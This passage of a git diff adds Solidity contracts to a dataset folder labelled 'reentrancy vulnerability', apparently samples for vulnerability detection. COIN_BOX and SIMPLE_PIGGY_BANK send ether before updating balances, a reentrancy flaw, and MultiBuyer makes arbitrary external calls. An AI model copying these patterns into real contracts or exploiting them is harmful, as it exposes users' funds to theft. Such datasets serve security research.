*/ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/21741.sol b/smart_contract_dataset/reentrancy vulnerability/21741.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/21741.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/21750.sol b/smart_contract_dataset/reentrancy vulnerability/21750.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/21750.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/21755.sol b/smart_contract_dataset/reentrancy vulnerability/21755.sol new file mode 100644 index 0000000000000000000000000000000000000000..164ba2f6d18b0b7b8f05ce63814dea70142552e9 --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/21755.sol @@ -0,0 +1,97 @@ +pragma solidity ^0.4.19; + +contract COIN_BOX +{ + struct Holder + { + uint unlockTime; + uint balance; + } + + mapping (address => Holder) public Acc; + + uint public MinSum; + + Log LogFile; + + bool intitalized; + + function SetMinSum(uint _val) + public + { + if(intitalized)throw; + MinSum = _val; + } + + function SetLogFile(address _log) + public + { + if(intitalized)throw; + LogFile = Log(_log); + } + + function Initialized() + public + { + intitalized = true; + } + + function Put(uint _lockTime) + public + payable + { + var acc = Acc[msg.sender]; + acc.balance += msg.value; + if(now+_lockTime>acc.unlockTime)acc.unlockTime=now+_lockTime; + LogFile.AddMessage(msg.sender,msg.value,"Put"); + } + + function Collect(uint _am) + public + payable + { + var acc = Acc[msg.sender]; + if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime) + { + if(msg.sender.call.value(_am)()) + { + acc.balance-=_am; + LogFile.AddMessage(msg.sender,_am,"Collect"); + } + } + } + + function() + public + payable + { + Put(0); + } + +} + + +contract Log +{ + struct Message + { + address Sender; + string Data; + uint Val; + uint Time; + } + + Message[] public History; + + Message LastMsg; + + function AddMessage(address _adr,uint _val,string _data) + public + { + LastMsg.Sender = _adr; + LastMsg.Time = now; + LastMsg.Val = _val; + LastMsg.Data = _data; + History.push(LastMsg); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/22074.sol b/smart_contract_dataset/reentrancy vulnerability/22074.sol new file mode 100644 index 0000000000000000000000000000000000000000..becf5e3929733c45f0f90beada96c3b6ea7852e2 --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/22074.sol @@ -0,0 +1,38 @@ +pragma solidity ^0.4.19; + +contract SIMPLE_PIGGY_BANK +{ + address creator = msg.sender; + + mapping (address => uint) public Bal; + + uint public MinSum = 1 ether; + + function() + public + payable + { + Bal[msg.sender]+=msg.value; + } + + function Collect(uint _am) + public + payable + { + if(Bal[msg.sender]>=MinSum && _am<=Bal[msg.sender]) + { + msg.sender.call.value(_am); + Bal[msg.sender]-=_am; + } + } + + function Break() + public + payable + { + if(msg.sender==creator && this.balance>= MinSum) + { + selfdestruct(msg.sender); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/22478.sol b/smart_contract_dataset/reentrancy vulnerability/22478.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/22478.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/22480.sol b/smart_contract_dataset/reentrancy vulnerability/22480.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/22480.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 